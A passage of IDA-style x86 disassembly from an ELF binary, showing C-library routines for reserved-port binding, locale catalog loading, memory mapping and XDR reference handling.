		mov	[edx], ecx
		add	esp, 20h
		call	free(edi)
		call	free(ebx)
		test	esi, esi
		jz	loc_0_80668C8
		jmp	short loc_0_80669EE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80669C8:				; CODE XREF: sub_0_80668AC+7Aj
		mov	edx, [ebp+var_20]
		push	edx
		push	offset sub_0_80666A0
		call	sub_0_8064E74
		jmp	short loc_0_80669EE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80669D8:				; CODE XREF: sub_0_80668AC+80j
		mov	ecx, [ebp+var_20]
		push	ecx
		push	offset sub_0_80666A0
		call	sub_0_8064E74
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx

loc_0_80669EE:				; CODE XREF: sub_0_80668AC+11Aj
					; sub_0_80668AC+12Aj
		mov	eax, 1

loc_0_80669F3:				; CODE XREF: sub_0_80668AC+49j
					; sub_0_80668AC+66j
		lea	esp, [ebp+var_2C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80668AC	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [ebp+0Ch]
		push	4
		push	eax
		push	edx
		call	sub_0_8065120
		test	eax, eax
		jz	short loc_0_8066A20
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066A20:				; CODE XREF: .text:08066A14j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [ebp+0Ch]
		push	eax
		push	edx
		call	sub_0_806510C
		test	eax, eax
		jz	short loc_0_8066A48
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066A48:				; CODE XREF: .text:08066A3Aj
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8066A50	proc near		; CODE XREF: sub_0_8063B04+B8p
					; sub_0_80641C8+1C8p

var_1C		= byte ptr -1Ch
var_10		= word ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		jz	short loc_0_8066A80
		cmp	word ptr [ebx],	2
		jz	short loc_0_8066A94
		mov	errno, 60h
		mov	eax, 0FFFFFFFFh
		jmp	loc_0_8066B11
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066A80:				; CODE XREF: sub_0_8066A50+11j
		lea	ebx, [ebp+var_10]
		push	10h
		push	ebx
		call	sub_0_806626C
		mov	[ebp+var_10], 2
		add	esp, 8

loc_0_8066A94:				; CODE XREF: sub_0_8066A50+17j
		cmp	ds:word_0_807E768, 0
		jnz	short loc_0_8066AB7
		call	getpid
		mov	ecx, 1A8h
		cdq	
		idiv	ecx
		add	dx, 258h
		mov	ds:word_0_807E768, dx

loc_0_8066AB7:				; CODE XREF: sub_0_8066A50+4Cj
		mov	eax, 0FFFFFFFFh
		mov	errno, 62h
		xor	esi, esi

loc_0_8066AC8:				; CODE XREF: sub_0_8066A50+BFj
		cmp	errno, 62h
		jnz	short loc_0_8066B11
		mov	ax, ds:word_0_807E768
		inc	ds:word_0_807E768
		xchg	al, ah
		mov	[ebx+2], ax
		cmp	ds:word_0_807E768, 3FFh
		jle	short loc_0_8066AF8
		mov	ds:word_0_807E768, 258h

loc_0_8066AF8:				; CODE XREF: sub_0_8066A50+9Dj
		call	bind(edi,ebx,16)
		add	esp, 0Ch
		inc	esi
		cmp	esi, 1A7h
		jg	short loc_0_8066B11
		test	eax, eax
		jl	short loc_0_8066AC8

loc_0_8066B11:				; CODE XREF: sub_0_8066A50+28j
					; sub_0_8066A50+7Fj ...
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8066A50	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+8]
		cmp	dword ptr [esi+38h], 0
		jl	short loc_0_8066B45
		mov	eax, [esi+50h]
		lea	edx, [ebp-40h]
		push	edx
		push	esi
		mov	eax, [eax+8Ch]
		call	eax
		add	esp, 8
		test	eax, eax
		jge	short loc_0_8066B4C

loc_0_8066B45:				; CODE XREF: .text:08066B2Cj
		xor	edi, edi
		jmp	short loc_0_8066B65
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066B4C:				; CODE XREF: .text:08066B43j
		mov	ax, [ebp-38h]
		and	ax, 0F000h
		cmp	ax, 2000h
		setz	al
		movzx	edi, al
		mov	ebx, [ebp-28h]
		test	ebx, ebx
		jnz	short loc_0_8066B6A

loc_0_8066B65:				; CODE XREF: .text:08066B47j
		mov	ebx, 400h

loc_0_8066B6A:				; CODE XREF: .text:08066B63j
		call	mmap(0,ebx,3,22h,-1,0)
		mov	edx, eax
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_0_8066B8C
		mov	eax, 0FFFFFFFFh
		jmp	short loc_0_8066BB8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066B8C:				; CODE XREF: .text:08066B82j
		push	1
		lea	eax, [ebx+edx]
		push	eax
		push	edx
		push	esi
		call	sub_0_8061B6C
		add	esp, 10h
		test	edi, edi
		jz	short loc_0_8066BB3
		mov	eax, [esi+38h]
		push	eax
		call	sub_0_80672AC
		test	eax, eax
		jz	short loc_0_8066BB3
		or	dword ptr [esi], 200h

loc_0_8066BB3:				; CODE XREF: .text:08066B9Ej
					; .text:08066BABj
		mov	eax, 1

loc_0_8066BB8:				; CODE XREF: .text:08066B89j
		lea	esp, [ebp-4Ch]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, dword_0_8079288
		mov	edx, [eax+0Ch]
		add	edx, 100h
		mov	tableBit, edx
		mov	edx, [eax+18h]
		add	edx, 200h
		mov	lowcasetable, edx
		mov	eax, [eax+1Ch]
		add	eax, 200h
		mov	upcasetable, eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8066BFC	proc near		; CODE XREF: sub_0_8062D4C+330p
					; sub_0_8062D4C+883p

var_68		= byte ptr -68h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_38		= word ptr -38h
var_2C		= dword	ptr -2Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+var_44], 0
		mov	eax, [ebx]
		cmp	byte ptr [eax],	0
		jnz	short loc_0_8066C70
		call	getenv('LC_ALL')
		mov	[ebx], eax
		test	eax, eax
		jz	short loc_0_8066C2E
		cmp	byte ptr [eax],	0
		jnz	short loc_0_8066C43

loc_0_8066C2E:				; CODE XREF: sub_0_8066BFC+2Bj
		mov	ecx, [ebp+arg_0]
		call	getenv(dword_0_806aa34[ecx*4])
		mov	[ebx], eax

loc_0_8066C43:				; CODE XREF: sub_0_8066BFC+30j
		cmp	dword ptr [ebx], 0
		jz	short loc_0_8066C4F
		mov	eax, [ebx]
		cmp	byte ptr [eax],	0
		jnz	short loc_0_8066C5E

loc_0_8066C4F:				; CODE XREF: sub_0_8066BFC+4Aj
		call	getenv('LANG')
		mov	[ebx], eax

loc_0_8066C5E:				; CODE XREF: sub_0_8066BFC+51j
		cmp	dword ptr [ebx], 0
		jz	short loc_0_8066C6A
		mov	eax, [ebx]
		cmp	byte ptr [eax],	0
		jnz	short loc_0_8066C70

loc_0_8066C6A:				; CODE XREF: sub_0_8066BFC+65j
		mov	dword ptr [ebx], offset	aLocal ; "local"

loc_0_8066C70:				; CODE XREF: sub_0_8066BFC+18j
					; sub_0_8066BFC+6Cj
		mov	[ebp+var_54], esp
		mov	ecx, [ebp+arg_0]
		mov	ecx, ds:dword_0_806AA34[ecx*4]
		mov	[ebp+var_50], ecx
		mov	ecx, [ebx]
		mov	[ebp+var_5C], ecx
		mov	edx, strlen(var_5C)+1
		call	strlen(var_50)
		mov	edi, eax
		lea	eax, [edx+edi*2+1Bh]
		and	al, 0FCh
		sub	esp, eax
		mov	esi, esp
		call	strchr(var_5C,2Fh)
		test	eax, eax
		jz	short loc_0_8066CDC
		call	sprintf(&esi,'%s/%s',ebx[0],var_50)
		jmp	short loc_0_8066CF6
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066CDC:				; CODE XREF: sub_0_8066BFC+C6j
		call	sprintf(&esi,'%s/%s/%s','/usr/share/locale',[ebx],var_50)

loc_0_8066CF6:				; CODE XREF: sub_0_8066BFC+DDj
		call	open(esi,O_RDONLY)
		mov	[ebp+var_48], eax
		test	eax, eax
		jl	loc_0_8066EB8
		call	fstat(1,var_48,var_40)
		test	eax, eax
		jl	short loc_0_8066D8B
		mov	ax, [ebp+var_38]
		and	ax, 0F000h
		cmp	ax, 4000h
		jnz	short loc_0_8066D94
		call	close(var_48)
		call	strchr(esi,0)
		call	strcpy2(eax,'/SYS_')
		mov	edx, eax
		call	memcpy(edx,var_50,edi+1)
		call	open(esi,O_RDONLY)
		mov	[ebp+var_48], eax
		test	eax, eax
		jl	loc_0_8066EB8
		call	fstat(1,var_48,&var_40)
		test	eax, eax
		jge	short loc_0_8066D94

loc_0_8066D8B:				; CODE XREF: sub_0_8066BFC+124j
		mov	esp, [ebp+var_54]
		jmp	loc_0_8066EAF
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066D94:				; CODE XREF: sub_0_8066BFC+132j
					; sub_0_8066BFC+18Dj
		mov	esp, [ebp+var_54]
		mov	ecx, errno
		mov	[ebp+var_58], ecx
		call	mmap(0,var_2c,1,2,var_48,0)
		mov	[ebp+var_4C], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_0_8066E39
		cmp	errno, 26h
		jnz	loc_0_8066EAF
		call	malloc(var_2C)
		mov	[ebp+var_4C], eax
		test	eax, eax
		jz	loc_0_8066EAF
		mov	esi, [ebp+var_2C]
		mov	edi, [ebp+var_4C]
		test	esi, esi
		jle	short loc_0_8066E30
		lea	esi, [esi]

loc_0_8066DF0:				; CODE XREF: sub_0_8066BFC+232j
		call	read(var_48,edi,esi)
		mov	ebx, eax
		test	ebx, ebx
		jg	short loc_0_8066E28
		call	free(var_4C)
		test	ebx, ebx
		jnz	loc_0_8066EAF
		mov	errno, 16h
		jmp	loc_0_8066EAF
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066E28:				; CODE XREF: sub_0_8066BFC+206j
		add	edi, ebx
		sub	esi, ebx
		test	esi, esi
		jg	short loc_0_8066DF0

loc_0_8066E30:				; CODE XREF: sub_0_8066BFC+1F0j
		mov	ecx, [ebp+var_58]
		mov	errno, ecx

loc_0_8066E39:				; CODE XREF: sub_0_8066BFC+1C2j
		mov	eax, [ebp+arg_0]
		xor	eax, 51472CAh
		mov	ecx, [ebp+var_4C]
		cmp	[ecx], eax
		jnz	short loc_0_8066E6C
		mov	[ebp+var_44], 0
		jmp	short loc_0_8066EC0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066E54:				; CODE XREF: sub_0_8066BFC+417j
		call	free(ebx)
		mov	errno, 16h
		jmp	short loc_0_8066E9F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066E6C:				; CODE XREF: sub_0_8066BFC+24Aj
		mov	[ebp+var_44], 1
		mov	ecx, [ebp+var_4C]
		mov	dl, [ecx+3]
		shl	edx, 18h
		movzx	eax, byte ptr [ecx+2]
		shl	eax, 10h
		or	edx, eax
		movzx	eax, byte ptr [ecx+1]
		shl	eax, 8
		or	edx, eax
		movzx	eax, byte ptr [ecx]
		or	edx, eax
		mov	eax, [ebp+arg_0]
		xor	eax, 51472CAh
		cmp	edx, eax
		jz	short loc_0_8066EC0

loc_0_8066E9F:				; CODE XREF: sub_0_8066BFC+26Bj
					; sub_0_8066BFC+34Bj ...
		call	munmap(var_4C,var_2C)

loc_0_8066EAF:				; CODE XREF: sub_0_8066BFC+192j
					; sub_0_8066BFC+1CBj ...
		call	close(var_48)

loc_0_8066EB8:				; CODE XREF: sub_0_8066BFC+10Aj
					; sub_0_8066BFC+176j
		xor	eax, eax
		jmp	loc_0_8067033
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066EC0:				; CODE XREF: sub_0_8066BFC+253j
					; sub_0_8066BFC+2A1j
		mov	ebx, [ebp+var_4C]
		add	ebx, 4
		cmp	[ebp+var_44], 0
		jnz	short loc_0_8066ED4
		mov	ecx, [ebp+var_4C]
		mov	eax, [ecx+4]
		jmp	short loc_0_8066EF1
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8066ED4:				; CODE XREF: sub_0_8066BFC+2CEj
		mov	dl, [ebx+3]
		shl	edx, 18h
		movzx	eax, byte ptr [ebx+2]
		shl	eax, 10h
		or	edx, eax
		movzx	eax, byte ptr [ebx+1]
		shl	eax, 8
		or	edx, eax
		movzx	eax, byte ptr [ebx]
		or	eax, edx

loc_0_8066EF1:				; CODE XREF: sub_0_8066BFC+2D6j
		mov	ecx, [ebp+arg_0]
		cmp	ds:dword_0_806BFB0[ecx*4], eax
		ja	short loc_0_8066F3D
		mov	ebx, [ebp+var_4C]
		add	ebx, 4
		cmp	[ebp+var_44], 0
		jnz	short loc_0_8066F14
		mov	ecx, [ebp+var_4C]
		mov	eax, [ecx+4]
		jmp	short loc_0_8066F31
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066F14:				; CODE XREF: sub_0_8066BFC+30Bj
		mov	dl, [ebx+3]
		shl	edx, 18h
		movzx	eax, byte ptr [ebx+2]
		shl	eax, 10h
		or	edx, eax
		movzx	eax, byte ptr [ebx+1]
		shl	eax, 8
		or	edx, eax
		movzx	eax, byte ptr [ebx]
		or	eax, edx

loc_0_8066F31:				; CODE XREF: sub_0_8066BFC+313j
		lea	eax, ds:8[eax*4]
		cmp	[ebp+var_2C], eax
		jg	short loc_0_8066F4C

loc_0_8066F3D:				; CODE XREF: sub_0_8066BFC+2FFj
		mov	errno, 16h
		jmp	loc_0_8066E9F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8066F4C:				; CODE XREF: sub_0_8066BFC+33Fj
		mov	ebx, [ebp+var_4C]
		add	ebx, 4
		cmp	[ebp+var_44], 0
		jnz	short loc_0_8066F60
		mov	ecx, [ebp+var_4C]
		mov	eax, [ecx+4]
		jmp	short loc_0_8066F7D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8066F60:				; CODE XREF: sub_0_8066BFC+35Aj
		mov	dl, [ebx+3]
		shl	edx, 18h
		movzx	eax, byte ptr [ebx+2]
		shl	eax, 10h
		or	edx, eax
		movzx	eax, byte ptr [ebx+1]
		shl	eax, 8
		or	edx, eax
		movzx	eax, byte ptr [ebx]
		or	eax, edx

loc_0_8066F7D:				; CODE XREF: sub_0_8066BFC+362j
		call	malloc(lea 0Ch[eax+4])
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_0_8066E9F
		mov	ecx, [ebp+var_4C]
		mov	[ebx], ecx
		mov	eax, [ebp+var_2C]
		mov	[ebx+4], eax
		mov	esi, [ebp+var_4C]
		add	esi, 4
		cmp	[ebp+var_44], 0
		jnz	short loc_0_8066FB4
		mov	eax, [ecx+4]
		jmp	short loc_0_8066FD1
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066FB4:				; CODE XREF: sub_0_8066BFC+3B0j
		mov	dl, [esi+3]
		shl	edx, 18h
		movzx	eax, byte ptr [esi+2]
		shl	eax, 10h
		or	edx, eax
		movzx	eax, byte ptr [esi+1]
		shl	eax, 8
		or	edx, eax
		movzx	eax, byte ptr [esi]
		or	eax, edx

loc_0_8066FD1:				; CODE XREF: sub_0_8066BFC+3B5j
		mov	[ebx+8], eax
		xor	esi, esi
		cmp	esi, eax
		jnb	short loc_0_8067028
		xor	edi, edi

loc_0_8066FDC:				; CODE XREF: sub_0_8066BFC+42Aj
		mov	ecx, [ebp+var_4C]
		lea	ecx, [ecx+edi+8]
		mov	[ebp+var_5C], ecx
		cmp	[ebp+var_44], 0
		jnz	short loc_0_8066FF0
		mov	eax, [ecx]
		jmp	short loc_0_8067010
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8066FF0:				; CODE XREF: sub_0_8066BFC+3EEj
		mov	ecx, [ebp+var_5C]
		mov	dl, [ecx+3]
		shl	edx, 18h
		movzx	eax, byte ptr [ecx+2]
		shl	eax, 10h
		or	edx, eax
		movzx	eax, byte ptr [ecx+1]
		shl	eax, 8
		or	edx, eax
		movzx	eax, byte ptr [ecx]
		or	eax, edx

loc_0_8067010:				; CODE XREF: sub_0_8066BFC+3F2j
		cmp	[ebx+4], eax
		jle	loc_0_8066E54
		add	eax, [ebx]
		mov	[ebx+esi*4+0Ch], eax
		add	edi, 4
		inc	esi
		cmp	[ebx+8], esi
		ja	short loc_0_8066FDC

loc_0_8067028:				; CODE XREF: sub_0_8066BFC+3DCj
		call	close(var_48)
		mov	eax, ebx

loc_0_8067033:				; CODE XREF: sub_0_8066BFC+2BEj
		lea	esp, [ebp+var_68]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8066BFC	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8067040	proc near		; CODE XREF: sub_0_8062CF8+43p
					; sub_0_8062D4C+3E2p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, errno
		test	ebx, ebx
		jz	short loc_0_806708A
		cmp	dword ptr [ebx], 0
		jz	short loc_0_806708A
		call	munmap([ebx],[ebx+4])
		test	eax, eax
		jge	short loc_0_8067084
		cmp	errno, 26h
		jnz	short loc_0_806707E
		call	free([ebx])

loc_0_806707E:				; CODE XREF: sub_0_8067040+31j
		mov	errno, esi

loc_0_8067084:				; CODE XREF: sub_0_8067040+28j
		call	free(ebx)

loc_0_806708A:				; CODE XREF: sub_0_8067040+10j
					; sub_0_8067040+15j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8067040	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8067094	proc near		; CODE XREF: sub_0_8063B04+1F6p
					; sub_0_80641C8+1FEp

var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		push	ebx
		mov	ebx, ds:dword_0_807E76C
		test	ebx, ebx
		jnz	short loc_0_80670C6
		push	40h
		push	1
		call	sub_0_805C904
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_0_80670C0
		xor	eax, eax
		jmp	loc_0_8067141
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80670C0:				; CODE XREF: sub_0_8067094+22j
		mov	ds:dword_0_807E76C, ebx

loc_0_80670C6:				; CODE XREF: sub_0_8067094+10j
		cmp	dword ptr [ebx+3Ch], 0
		jnz	short loc_0_806713F
		mov	eax, dword_0_8079230
		mov	[ebx+0Ch], eax
		mov	eax, dword_0_8079234
		mov	[ebx+10h], eax
		mov	eax, dword_0_8079238
		mov	[ebx+14h], eax
		mov	eax, [ebx+0Ch]
		mov	[ebx], eax
		mov	eax, [ebx+10h]
		mov	[ebx+4], eax
		mov	eax, [ebx+14h]
		mov	[ebx+8], eax
		mov	dword ptr [ebx+20h], offset off_0_8079298
		lea	esi, [ebp+var_18]
		push	0
		push	14h
		lea	eax, [ebx+28h]
		push	eax
		push	esi
		call	sub_0_8065408
		push	ebx
		push	esi
		call	sub_0_8064B1C
		lea	eax, [ebx+0Ch]
		push	eax
		push	esi
		call	sub_0_8064B1C
		add	esp, 20h
		mov	eax, [ebp+var_14]
		push	esi
		mov	eax, [eax+10h]
		call	eax
		mov	[ebx+3Ch], eax
		mov	eax, [ebp+var_14]
		add	esp, 4
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_0_806713F
		push	esi
		mov	eax, [eax+1Ch]
		call	eax

loc_0_806713F:				; CODE XREF: sub_0_8067094+36j
					; sub_0_8067094+A3j
		mov	eax, ebx

loc_0_8067141:				; CODE XREF: sub_0_8067094+26j
		lea	esp, [ebp+var_20]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8067094	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_806714C	proc near		; DATA XREF: .data:0807929Co

var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	ecx, ds:dword_0_807E76C
		test	ecx, ecx
		jz	short loc_0_8067170
		mov	edx, [ebx+4]
		mov	eax, [ecx+3Ch]
		push	eax
		lea	eax, [ecx+28h]
		push	eax
		push	ebx
		mov	eax, [edx+0Ch]
		call	eax
		jmp	short loc_0_8067172
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8067170:				; CODE XREF: sub_0_806714C+Fj
		xor	eax, eax

loc_0_8067172:				; CODE XREF: sub_0_806714C+22j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_806714C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_806717C	proc near		; DATA XREF: .data:08079298o
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_806717C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8067184	proc near		; DATA XREF: .data:080792A0o
		push	ebp
		mov	ebp, esp
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8067184	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8067190	proc near		; DATA XREF: .data:080792A4o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8067190	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_806719C	proc near		; DATA XREF: .data:080792A8o
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_806719C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80671A4	proc near		; CODE XREF: sub_0_8067248+45p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx]
		call	sub_0_805E954
		test	ebx, ebx
		jnz	short loc_0_806721A
		mov	eax, [edi]
		cmp	eax, 1
		jz	short loc_0_80671D4
		cmp	eax, 2
		jnz	short loc_0_806721A
		mov	eax, 1
		jmp	short loc_0_806723E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80671D4:				; CODE XREF: sub_0_80671A4+1Fj
		call	malloc(esi)
		mov	ebx, eax
		mov	edx, [ebp+arg_4]
		mov	[edx], ebx
		test	ebx, ebx
		jnz	short loc_0_8067210
		push	offset aOutOfMemory_3 ;	"out of	memory"
		push	1
		push	0Ah
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		call	fprintf(unk_80787a4,'xdr_reference: %s\n',eax)
		xor	eax, eax
		jmp	short loc_0_806723E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8067210:				; CODE XREF: sub_0_80671A4+42j
		push	esi
		push	ebx
		call	sub_0_806626C
		add	esp, 8

loc_0_806721A:				; CODE XREF: sub_0_80671A4+18j
					; sub_0_80671A4+24j
		push	0FFFFFFFFh
